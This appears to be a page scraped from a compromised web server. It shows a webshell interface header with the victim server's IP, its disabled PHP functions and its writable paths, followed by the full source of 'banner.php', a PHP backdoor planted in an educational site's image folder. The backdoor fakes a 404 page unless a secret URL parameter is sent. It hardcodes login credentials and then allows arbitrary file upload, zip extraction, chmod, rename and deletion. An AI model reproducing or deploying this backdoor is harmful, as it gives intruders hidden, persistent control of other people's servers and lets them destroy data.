403Webshell
Server IP : 202.29.229.35  /  Your IP : 18.119.120.88
Web Server : Apache
System : Linux aapanel2 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www ( 1001)
PHP Version : 5.5.38
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.ivecr2.ac.th/picbanner/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.ivecr2.ac.th/picbanner/banner.php
<?php
// Function to check if the user is logged in
function isLoggedIn() {
    return isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true;
}

// Check if the 'boshibiputih' parameter is present in the URL and if the user is logged in
if (!isset($_GET['boshibiputih']) && !isLoggedIn()) {
    // Output the 404 Not Found HTML message
    header("HTTP/1.0 404 Not Found");
    echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>';
    exit(); // Ensure the script stops execution here if 'boshibiputih' is not present and user is not logged in
}

session_start();

// Username and password for authentication
$valid_username = 'hibikapalapi';
$valid_password = 't@bOe!8Y#xF3Q2$gVz%pA^w4R&nL6D1*ZsJ0~+Mk@rX^7mL!5u2$w3Y#zA1!qN6&tB*8';

// Handle login
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['login'])) {
    $username = $_POST['username'];
    $password = $_POST['password'];

    if ($username === $valid_username && $password === $valid_password) {
        $_SESSION['loggedin'] = true;
    } else {
        $error = "Invalid username or password.";
    }
}

// Handle logout
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: '.$_SERVER['PHP_SELF']);
    exit;
}

// Check if user is logged in
if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>หมอนลาเท็กซ์</title>
    <style>
        body {
            background-color: black;
            color: #41848b;
            font-family: "Courier New", Courier, monospace;
        }
        .login-form {
            text-align: center;
            margin-top: 100px;
        }
        input[type="text"], input[type="password"] {
            display: block;
            margin: 10px auto;
        }
        h2 {
            color: red;
        }
    </style>
</head>
<body>
    <div class="login-form">
        <h2>หมอนลาเท็กซ์</h2>
        <?php if (isset($error)): ?>
            <p style="color: red;"><?php echo $error; ?></p>
        <?php endif; ?>
        <form method="post" action="">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit" name="login">Login</button>
        </form>
    </div>
</body>
</html>

<?php
    exit; // Stop further execution of the script if not logged in
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>กลุ่มไดโนสีเหลือง</title>
    <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500;700&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css">
    <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css">
    <link rel="stylesheet" href="styles.css"> <!-- Link to your custom CSS file -->
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
    
    <style>
        body {
            background-color: #212629;
            color: #ecf0f1;
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            flex-direction: column;
        }
        .container {
            width: 100%;
            background-color: #212529;
            padding: 10px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        }
        .title {
            text-align: center;
            margin-bottom: 20px;
        }
        .upload-form, .change-extension-form {
            margin-bottom: 10px;
        }
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 20px;
        }
        .file-table th, .file-table td {
            border: 1px solid #ecf0f1;
            padding: 8px;
            text-align: left;
        }
        .file-table th {
            background-color: #212529;
        }
        .file-table td a {
            color: white;
            text-decoration: none;
        }

        .file-table td a:hover {
            text-decoration: underline;
        }
        .file-table tr:nth-child(even) {
            background-color: #212529;
        }
        .file-table tr:hover {
            background-color: #212529;
        }
        .btn {
            background-color: #27ae60;
            color: white;
            border: none;
            padding: 10px 20px;
            cursor: pointer;
            border-radius: 5px;
            margin-top: 7px;
        }
        .btn:hover {
            background-color: #2ecc71;
        }
        .logout {
            color: #e74c3c;
            text-align: center;
            margin-top: 20px;
        }
        .logout a {
            color: red;
            text-decoration: none;
        }

/* General reset for all elements */
*:focus {
    outline: none !important;
    box-shadow: none !important;
}

.table-responsive {
    overflow-x: auto;
    -webkit-overflow-scrolling: touch;
    outline: none; /* Ensure outline is none */
    border: none;  /* Ensure no border */
}

.table>:not(caption)>*>* {
    padding: .5rem .5rem;
    background-color: var(--bs-table-bg);
    border-bottom-width: 1px;
    box-shadow: inset 0 0 0 9999px var(--bs-table-accent-bg);
}

.table>tbody {
    vertical-align: center;
}

.table>thead {
    vertical-align: center;
}

.table>:not(:first-child) {
    border-top: 2px solid currentColor;
}

.caption-top {
    caption-side: top;
}

.table-sm>:not(caption)>*>* {
    padding: .25rem .25rem;
}

.table-bordered>:not(caption)>* {
    border-width: 1px 0;
}

.table-bordered>:not(caption)>*>* {
    border-width: 0 1px;
}

.table-borderless>:not(caption)>*>* {
    border-bottom-width: 0;
}

.table-borderless>:not(:first-child) {
    border-top-width: 0;
}

.table-striped>tbody>tr:nth-of-type(odd)>* {
    --bs-table-accent-bg: var(--bs-table-striped-bg);
    color: var(--bs-table-striped-color);
}

.table-active {
    --bs-table-accent-bg: var(--bs-table-active-bg);
    color: var(--bs-table-active-color);
}

.table-hover>tbody>tr:hover>* {
    --bs-table-accent-bg: var(--bs-table-hover-bg);
    color: var(--bs-table-hover-color);
}

.table-primary {
    --bs-table-bg: #cfe2ff;
    --bs-table-striped-bg: #c5d7f2;
    --bs-table-striped-color: #000;
    --bs-table-active-bg: #bacbe6;
    --bs-table-active-color: #000;
    --bs-table-hover-bg: #bfd1ec;
    --bs-table-hover-color: #000;
    color: #000;
    border-color: #bacbe6;
}

.table-secondary {
    --bs-table-bg: #e2e3e5;
    --bs-table-striped-bg: #d7d8da;
    --bs-table-striped-color: #000;
    --bs-table-active-bg: #cbccce;
    --bs-table-active-color: #000;
    --bs-table-hover-bg: #d1d2d4;
    --bs-table-hover-color: #000;
    color: #000;
    border-color: #cbccce;
}

.table-success {
    --bs-table-bg: #d1e7dd;
    --bs-table-striped-bg: #c7dbd2;
    --bs-table-striped-color: #000;
    --bs-table-active-bg: #bcd0c7;
    --bs-table-active-color: #000;
    --bs-table-hover-bg: #c1d6cc;
    --bs-table-hover-color: #000;
    color: #000;
    border-color: #bcd0c7;
}

.table-info {
    --bs-table-bg: #cff4fc;
    --bs-table-striped-bg: #c5e8ef;
    --bs-table-striped-color: #000;
    --bs-table-active-bg: #badce3;
    --bs-table-active-color: #000;
    --bs-table-hover-bg: #bfe2e9;
    --bs-table-hover-color: #000;
    color: #000;
    border-color: #badce3;
}

.table-warning {
    --bs-table-bg: #fff3cd;
    --bs-table-striped-bg: #f2e7c3;
    --bs-table-striped-color: #000;
    --bs-table-active-bg: #e6dbb9;
    --bs-table-active-color: #000;
    --bs-table-hover-bg: #ece1be;
    --bs-table-hover-color: #000;
    color: #000;
    border-color: #e6dbb9;
}

.table-danger {
    --bs-table-bg: #f8d7da;
    --bs-table-striped-bg: #eccccf;
    --bs-table-striped-color: #000;
    --bs-table-active-bg: #dfc2c4;
    --bs-table-active-color: #000;
    --bs-table-hover-bg: #e5c7ca;
    --bs-table-hover-color: #000;
    color: #000;
    border-color: #dfc2c4;
}

.table-light {
    --bs-table-bg: #f8f9fa;
    --bs-table-striped-bg: #ecedee;
    --bs-table-striped-color: #000;
    --bs-table-active-bg: #dfe0e1;
    --bs-table-active-color: #000;
    --bs-table-hover-bg: #e5e6e7;
    --bs-table-hover-color: #000;
    color: #000;
    border-color: #dfe0e1;
}

.table-dark {
    --bs-table-bg: #212529;
    --bs-table-striped-bg: #2c3034;
    --bs-table-striped-color: #fff;
    --bs-table-active-bg: #373b3e;
    --bs-table-active-color: #fff;
    --bs-table-hover-bg: #323539;
    --bs-table-hover-color: #fff;
    color: #fff;
    border-color: #373b3e;
}

.text-light {
    color: #f8f9fa !important;
}

.text-decoration-none {
    text-decoration: none !important;
}

.btn-outline-light {
    color: #f8f9fa;
    border-color: #f8f9fa;
    padding: 0.3rem 0.5rem; /* Uniform button padding */
    font-size: 0.75rem; /* Uniform button font size */
}

.btn-outline-light:hover {
    color: #212529;
    background-color: #f8f9fa;
    border-color: #f8f9fa;
}

.btn-outline-light:focus,
.text-decoration-none:focus {
    outline: none;
    box-shadow: none;
}

.btn-group {
    display: inline-flex;
}

.text-nowrap {
    white-space: nowrap;
}

.title {
    margin-bottom: 20px;
}


.table {
    --bs-table-bg: transparent;
    --bs-table-accent-bg: transparent;
    --bs-table-striped-color: #212529;
    --bs-table-striped-bg: rgba(0, 0, 0, 0.05);
    --bs-table-active-color: #212529;
    --bs-table-active-bg: rgba(0, 0, 0, 0.1);
    --bs-table-hover-color: #212529;
    --bs-table-hover-bg: rgba(0, 0, 0, 0.075);
    width: 100%;
    margin-bottom: 1rem;
    color: #212529;
    vertical-align: center;
    border-color: #dee2e6;
    outline: none; /* Ensure outline is none */
    border: none;  /* Ensure no border */
    font-family: 'Roboto', sans-serif; /* Apply the font to the table */
    font-size: 15px; /* Reduce the font size */
    border-collapse: collapse; /* Ensure borders are collapsed */
}

.table th, .table td {
    padding: 0.25rem 0.5rem; /* Reduce padding for a more compact look */
    vertical-align: middle; /* Vertically center content */
    border-bottom: 0.1px solid rgba(248, 249, 250, 0.3); /* Uniform border */
    color: #f8f9fa;
}

.table thead tr td {
    border-bottom: 3px solid #f8f9fa !important; /* Make the border more bold for the thead tr */
}

.table tbody + tbody {
    border-top: 5px solid #f8f9fa;
}

.table-hover tbody tr:hover {
    color: #f8f9fa; /* Change hover text color to light */
    background-color: rgba(255, 255, 255, 0.075); /* Change hover background color to lighter dark */
}

.table-dark, .table-dark>th, .table-dark>td {
    background-color: #212529; /* Dark background */
    color: #f8f9fa; /* Light text */
}


.btn-outline-light {
    color: #f8f9fa;
    border-color: #f8f9fa;
    background-color: #212529; /* Ensure the background is the same as the table */
    font-size: 0.75rem; /* Adjust font size to make the buttons smaller */
    padding: 0.25rem 0.5rem; /* Adjust padding for smaller buttons */
    position: relative;
    top: -5px; /* Move buttons slightly up */
    
}

.btn-outline-light:hover, .btn-outline-light:focus, .btn-outline-light:active {
    color: #212529;
    background-color: #f8f9fa;
    border-color: #f8f9fa;
}

.btn-group {
    display: flex; /* Use flexbox for vertical centering */
    align-items: justify; /* Center items vertically */
    justify-content: justify; /* Center items horizontally */
}

.btn-group .btn {
    margin-right: 0.4rem; /* Add spacing between buttons */
    display: inline-flex;
    align-items: center;
    justify-content: center;
    border: 1px solid #f8f9fa; /* Ensure white border */
    border-radius: 0.25rem; /* Ensure border radius */
    
}

.btn-group .btn i {
    margin-right: 0; /* No additional margin needed for icons */
}

.btn-group .btn:last-child {
    margin-right: 0; /* Remove margin for the last button */
}

.btn-group .btn:first-child {
    border-top-left-radius: 0.25rem; /* Adjust border radius for the first button */
    border-bottom-left-radius: 0.25rem; /* Adjust border radius for the first button */
}

.btn-group .btn:last-child {
    border-top-right-radius: 0.25rem; /* Adjust border radius for the last button */
    border-bottom-right-radius: 0.25rem; /* Adjust border radius for the last button */
}

td {
    vertical-align: middle; /* Ensure table cells align items in the middle */
}

/* Add the CSS here if not using an external stylesheet */
.modal-content {
            color: #000; /* Set text color to black */
        }

        .modal-header .modal-title {
            color: #000; /* Set modal title color to black */
        }

        .modal-body .form-label, .modal-body .form-control {
            color: #000; /* Set form label and input text color to black */
        }

        .modal-body .form-control::placeholder {
            color: #6c757d; /* Set placeholder text color */
        }

        .breadcrumb {
            background: none;
            padding: 0;
            margin: 0;
            display: flex;
            align-items: center;
        }
        .breadcrumb a {
            color: #ffffff;
            text-decoration: none;
        }
        .breadcrumb span {
            color: #6c757d;
        }


        
    </style>


<?php

// Define the path
$path = isset($_GET['dir']) ? $_GET['dir'] : '.';

// Handle form submissions
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (isset($_POST['action'])) {
        $action = $_POST['action'];
        $item = $_POST['item'];
        $dir = $_POST['dir'];
        $success = false;

        switch ($action) {
            case 'rename':
                $newName = $_POST['newName'];
                if (rename($dir . '/' . $item, $dir . '/' . $newName)) {
                    $success = true;
                    $_SESSION['message'] = "Rename Successfully!";
                }
                break;
            case 'chmod':
                $permissions = $_POST['permissions'];
                if (chmod($dir . '/' . $item, octdec($permissions))) {
                    $success = true;
                    $_SESSION['message'] = "Change Permission Successfully!";
                }
                break;
            case 'delete':
                $fullPath = $dir . '/' . $item;
                if (is_dir($fullPath)) {
                    if (deleteDirectory($fullPath)) {
                        $success = true;
                        $_SESSION['message'] = "Delete Successfully!";
                    }
                } else {
                    if (unlink($fullPath)) {
                        $success = true;
                        $_SESSION['message'] = "Delete Successfully!";
                    }
                }
                break;
            case 'createFolder':
                $folderName = $_POST['folderName'];
                if (mkdir($dir . '/' . $folderName)) {
                    $success = true;
                    $_SESSION['message'] = "Folder Created Successfully!";
                }
                break;
            case 'createFile':
                $fileName = $_POST['fileName'];
                if (fopen($dir . '/' . $fileName, 'w')) {
                    $success = true;
                    $_SESSION['message'] = "File Created Successfully!";
                }
                break;
        }
    }
}




// Get the updated list of directories and files
$dirs = scandir($path);

function getFileSize($file) {
    if (!is_file($file)) {
        return '-';
    }
    $size = filesize($file);
    if ($size === false) {
        return 'N/A';
    }
    $units = array('B', 'KB', 'MB', 'GB', 'TB');
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return number_format($size / pow(1024, $power), 2, '.', ',') . ' ' . $units[$power];
}

function getFileOwner($file) {
    if (!file_exists($file)) {
        return '-';
    }
    $ownerInfo = posix_getpwuid(fileowner($file));
    return $ownerInfo['name'] . '/' . posix_getgrgid(filegroup($file))['name'];
}

function getFilePermissions($file) {
    if (!file_exists($file)) {
        return '-';
    }
    return substr(sprintf('%o', fileperms($file)), -4);
}

function getFileModificationTime($file) {
    if (!file_exists($file)) {
        return '-';
    }
    return date("Y-m-d H:i:s", filemtime($file));
}
?>







</head>
<body>
    <div class="container">
        <h1 class="title">กลุ่มไดโนสีเหลือง</h1>
        
        <form class="upload-form" method="post" enctype="multipart/form-data">
            <label for="files">Upload Files:</label>
            <input type="file" name="files[]" multiple>
            <button class="btn" type="submit" name="up">Upload Files</button>
        </form>
        
        <form class="upload-form" method="post" enctype="multipart/form-data">
            <label for="zip_file">Upload Folder Zip:</label>
            <input type="file" name="zip_file">
            <button class="btn" type="submit" name="upload_zip">Upload Zip</button>
        </form>
    </div>

   
   
</br>
<div class="container">
    <div class="table-responsive">
        <table class="table table-hover">
            <thead>
                <tr>
                    <td style="width:35%">Name</td>
                    <td style="width:10%">Type</td>
                    <td style="width:10%">Size</td>
                    <td style="width:13%">Owner/Group</td>
                    <td style="width:10%">Permission</td>
                    <td style="width:13%">Last Modified</td>
                    <td style="width:9%">Actions</td>
                </tr>
            </thead>
            <tbody class="text-nowrap">
                <?php if (isset($dirs) && is_array($dirs)) : ?>
                    <?php foreach ($dirs as $dir) : ?>
                        <tr>
                            <td>
                                <?php if ($dir === '..') : ?>
                                    <a href="<?= htmlspecialchars(dirname($_SERVER["PHP_SELF"]) . '/' . dirname($path)); ?>" class="text-decoration-none text-light">
                        <i class="fa fa-folder-open"></i> <?= htmlspecialchars($dir) ?>
                    </a>
                <?php elseif ($dir === '.') : ?>
                    <a href="<?= htmlspecialchars(dirname($_SERVER["PHP_SELF"]) . '/' . $path); ?>" class="text-decoration-none text-light">
                        <i class="fa fa-folder-open"></i> <?= htmlspecialchars($dir) ?>
                    </a>
                <?php elseif (is_dir($path . '/' . $dir)) : ?>
                    <a href="<?= htmlspecialchars(dirname($_SERVER["PHP_SELF"]) . '/' . $path . '/' . $dir); ?>" class="text-decoration-none text-light">
                        <i class="fa fa-folder"></i> <?= htmlspecialchars($dir) ?>
                    </a>
                <?php else : ?>
                    <?php $web = "http://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["PHP_SELF"]) ; ?>
                    <a href="<?= htmlspecialchars($web . ltrim($path, './') . $dir); ?>" target="_blank" class="text-decoration-none text-light">
                        <i class="fa fa-file-code"></i> <?= htmlspecialchars($dir) ?>
                    </a>
                                <?php endif; ?>
                            </td>
                            <td class="text-light"><?= is_dir($path . '/' . $dir) ? 'folder' : 'file' ?></td>
                            <td class="text-light"><?= getFileSize($path . '/' . $dir) ?></td>
                            <td class="text-light"><?= getFileOwner($path . '/' . $dir) ?></td>
                            <td class="text-light"><?= getFilePermissions($path . '/' . $dir) ?></td>
                            <td class="text-light"><?= getFileModificationTime($path . '/' . $dir) ?></td>
                            <td>

                            <?php if ($dir != '.' && $dir != '..') : ?>
                                    <div class="btn-group">
                                        <button type="button" class="btn btn-outline-light btn-sm" data-bs-toggle="modal" data-bs-target="#renameModal" data-item="<?= $dir ?>">
                                            <i class="fa fa-edit"></i>
                                        </button>
                                        <button type="button" class="btn btn-outline-light btn-sm" data-bs-toggle="modal" data-bs-target="#chmodModal" data-item="<?= $dir ?>">
                                            <i class="fa fa-file-signature"></i>
                                        </button>
                                        <button type="button" class="btn btn-outline-light btn-sm delete-btn" data-dir="<?= $path ?>" data-item="<?= $dir ?>">
                                            <i class="fa fa-trash"></i>
                                        </button>
                                    </div>
                                <?php elseif ($dir === '.') : ?>
                                    <div class="btn-group">
                                        <button type="button" class="btn btn-outline-light btn-sm" data-bs-toggle="modal" data-bs-target="#createFolderModal">
                                            <i class="fa fa-folder-plus"></i>
                                        </button>
                                        <button type="button" class="btn btn-outline-light btn-sm" data-bs-toggle="modal" data-bs-target="#createFileModal">
                                            <i class="fa fa-file-plus"></i>
                                        </button>
                                    </div>
                                <?php endif; ?>
                            </td>
                        </tr>
                    <?php endforeach; ?>
                <?php else : ?>
                    <tr>
                        <td colspan="7" class="text-light">No directories or files found.</td>
                    </tr>
                <?php endif; ?>
            </tbody>
        </table>
    </div>
</div>



<!-- Create Folder Modal -->
<div class="modal fade" id="createFolderModal" tabindex="-1" aria-labelledby="createFolderModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <form method="post">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="createFolderModalLabel">Create New Folder</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <input type="hidden" name="dir" value="<?= $path ?>">
                <input type="hidden" name="action" value="createFolder">
                <div class="mb-3">
                    <label for="folderName" class="form-label">Folder Name</label>
                    <input type="text" class="form-control" id="folderName" name="folderName" required>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                <button type="submit" class="btn btn-primary">Create Folder</button>
            </div>
        </div>
    </form>
  </div>
</div>

<!-- Create File Modal -->
<div class="modal fade" id="createFileModal" tabindex="-1" aria-labelledby="createFileModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <form method="post">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="createFileModalLabel">Create New File</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <input type="hidden" name="dir" value="<?= $path ?>">
                <input type="hidden" name="action" value="createFile">
                <div class="mb-3">
                    <label for="fileName" class="form-label">File Name</label>
                    <input type="text" class="form-control" id="fileName" name="fileName" required>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                <button type="submit" class="btn btn-primary">Create File</button>
            </div>
        </div>
    </form>
  </div>
</div>


<!-- Rename Modal -->
<div class="modal fade" id="renameModal" tabindex="-1" aria-labelledby="renameModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <form method="post">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="renameModalLabel">Rename Item</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <input type="hidden" name="dir" value="<?= $path ?>">
                <input type="hidden" name="item" id="renameItem">
                <input type="hidden" name="action" value="rename">
                <div class="mb-3">
                    <label for="newName" class="form-label">New Name</label>
                    <input type="text" class="form-control" id="newName" name="newName" required>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                <button type="submit" class="btn btn-primary">Save changes</button>
            </div>
        </div>
    </form>
  </div>
</div>

<!-- Chmod Modal -->
<div class="modal fade" id="chmodModal" tabindex="-1" aria-labelledby="chmodModalLabel" aria-hidden="true">
  <div class="modal-dialog">
    <form method="post">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title" id="chmodModalLabel">Change Permissions</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
            </div>
            <div class="modal-body">
                <input type="hidden" name="dir" value="<?= $path ?>">
                <input type="hidden" name="item" id="chmodItem">
                <input type="hidden" name="action" value="chmod">
                <div class="mb-3">
                    <label for="permissions" class="form-label">New Permissions</label>
                    <input type="text" class="form-control" id="permissions" name="permissions" required>
                </div>
            </div>
            <div class="modal-footer">
                <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
                <button type="submit" class="btn btn-primary">Save changes</button>
            </div>
        </div>
    </form>
  </div>
</div>

<div class="text-light">&#169; Dinokuning <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>

<script>
    var renameModal = document.getElementById('renameModal')
    renameModal.addEventListener('show.bs.modal', function (event) {
        var button = event.relatedTarget
        var item = button.getAttribute('data-item')
        var modalTitle = renameModal.querySelector('.modal-title')
        var inputItem = renameModal.querySelector('#renameItem')

        modalTitle.textContent = 'Rename ' + item
        inputItem.value = item
    })

    var createFolderModal = document.getElementById('createFolderModal')
    createFolderModal.addEventListener('show.bs.modal', function (event) {
        var modalTitle = createFolderModal.querySelector('.modal-title')
        modalTitle.textContent = 'Create New Folder'
    })

    var createFileModal = document.getElementById('createFileModal')
    createFileModal.addEventListener('show.bs.modal', function (event) {
        var modalTitle = createFileModal.querySelector('.modal-title')
        modalTitle.textContent = 'Create New File'
    })

    var chmodModal = document.getElementById('chmodModal')
    chmodModal.addEventListener('show.bs.modal', function (event) {
        var button = event.relatedTarget
        var item = button.getAttribute('data-item')
        var modalTitle = chmodModal.querySelector('.modal-title')
        var inputItem = chmodModal.querySelector('#chmodItem')

        modalTitle.textContent = 'Change Permissions for ' + item
        inputItem.value = item
    })

    document.querySelectorAll('.delete-btn').forEach(function(button) {
        button.addEventListener('click', function(event) {
            event.preventDefault();
            var dir = this.getAttribute('data-dir');
            var item = this.getAttribute('data-item');
            Swal.fire({
                title: 'Are you sure?',
                text: "You won't be able to revert this!",
                icon: 'warning',
                showCancelButton: true,
                confirmButtonColor: '#3085d6',
                cancelButtonColor: '#d33',
                confirmButtonText: 'Yes, delete it!'
            }).then((result) => {
                if (result.isConfirmed) {
                    var form = document.createElement('form');
                    form.method = 'post';
                    form.style.display = 'none';

                    var dirInput = document.createElement('input');
                    dirInput.name = 'dir';
                    dirInput.value = dir;
                    form.appendChild(dirInput);

                    var itemInput = document.createElement('input');
                    itemInput.name = 'item';
                    itemInput.value = item;
                    form.appendChild(itemInput);

                    var actionInput = document.createElement('input');
                    actionInput.name = 'action';
                    actionInput.value = 'delete';
                    form.appendChild(actionInput);

                    document.body.appendChild(form);
                    form.submit();
                }
            });
        });
    });

    <?php if (isset($_SESSION['message'])): ?>
        Swal.fire({
            title: 'Success',
            text: '<?= $_SESSION['message'] ?>',
            icon: 'success',
            confirmButtonText: 'OK'
        });
        <?php unset($_SESSION['message']); ?>
    <?php endif; ?>
    
</script>




        <div class="logout">
            <h3><a href="?logout=true">Exit</a></h3>
        </div>
    




</body>
</html>


<?php
// Your PHP upload logic here



// Handle delete request
if (isset($_POST['delete'])) {
    $itemToDelete = $_POST['delete_item'];
    $pathToDelete = __DIR__ . '/' . $itemToDelete;

    // Check if the item is a file or a directory
    if (is_file($pathToDelete)) {
        // Delete file
        unlink($pathToDelete);
    } elseif (is_dir($pathToDelete)) {
        // Delete directory and its contents
        deleteDirectory($pathToDelete);
    }

    // Redirect to the same page with query parameters to refresh the list
    header("Location: " . $_SERVER['PHP_SELF'] . '?boshibiputih');
    exit();
}

// Function to delete a directory and its contents
function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return false;
    }

    $items = array_diff(scandir($dir), array('.', '..'));
    foreach ($items as $item) {
        $path = $dir . '/' . $item;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }
    return rmdir($dir);
}


// Function to extract a zip file
function extractZip($zipFilePath, $extractTo) {
    $zip = new ZipArchive();
    if ($zip->open($zipFilePath) === TRUE) {
        $zip->extractTo($extractTo);
        $zip->close();
        unlink($zipFilePath); // Delete the zip file after extraction
        return true;
    } else {
        return false;
    }
}


    // Display messages
    if (isset($message)) {
        echo "<div class='container'><div class='message'>$message</div></div>";
    }
    if (isset($error)) {
        echo "<div class='container'><div class='message error'>$error</div></div>";
    }
    ?>


<?php
// Function to rename the file extension
if (isset($_POST['change_extension'])) {
    $current_filename = $_POST['current_filename'];
    $new_extension = $_POST['new_extension'];

    $path_parts = pathinfo($current_filename);
    $new_filename = $path_parts['dirname'] . '/' . $path_parts['filename'] . '.' . $new_extension;
    
    if (rename($current_filename, $new_filename)) {
        echo "<br><center><font color='white' face='' size='4'>SUCCESS CHANGE EXTENSION TO: </font><font color='gold' size='4'>" . strtoupper($new_extension) . "</font></center>";
    } else {
        echo "<center><font color='red' face='' size='4'>FAILED TO CHANGE EXTENSION.</font></center>";
    }
    // JavaScript to refresh the page
    echo '<script type="text/javascript">
            window.location.href = window.location.pathname + "?boshibiputih";
          </script>';
}


// Function to handle file upload
if (isset($_POST["up"])) {
    $server = dirname(__FILE__); // This gets the directory of the current script
    $files = $_FILES["files"];

    // Iterate over all uploaded files
    $uploadSuccess = false;
    for ($i = 0; $i < count($files["name"]); $i++) {
        $file = $files["name"][$i];
        $upload = $server . "/" . $file;

        if (is_writable($server)) {
            if (move_uploaded_file($files["tmp_name"][$i], $upload)) {
                $uploadSuccess = true;
            }
        }
    }

    if ($uploadSuccess) {
        $_SESSION['message'] = "Files uploaded successfully!";
        $_SESSION['alert_type'] = "success";
    } else {
        $_SESSION['message'] = "File upload failed.";
        $_SESSION['alert_type'] = "error";
    }

    echo "<script>window.location.href = window.location.pathname + '?boshibiputih';</script>";
    exit();
}

// Handle zip file upload and extraction
if (isset($_POST["upload_zip"])) {
    $server = dirname(__FILE__); // This gets the directory of the current script
    $zip_file = $_FILES["zip_file"]["name"];
    $upload = $server . "/" . $zip_file;

    if (is_writable($server)) {
        if (move_uploaded_file($_FILES["zip_file"]["tmp_name"], $upload)) {
            if (extractZip($upload, $server)) {
                $_SESSION['message'] = "Zip file uploaded and extracted successfully!";
                $_SESSION['alert_type'] = "success";
            } else {
                $_SESSION['message'] = "Failed to extract zip file.";
                $_SESSION['alert_type'] = "error";
            }
        } else {
            $_SESSION['message'] = "Zip file upload failed.";
            $_SESSION['alert_type'] = "error";
        }
    } else {
        $_SESSION['message'] = "Directory is not writable.";
        $_SESSION['alert_type'] = "error";
    }

    echo "<script>window.location.href = window.location.pathname + '?boshibiputih';</script>";
    exit();
}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit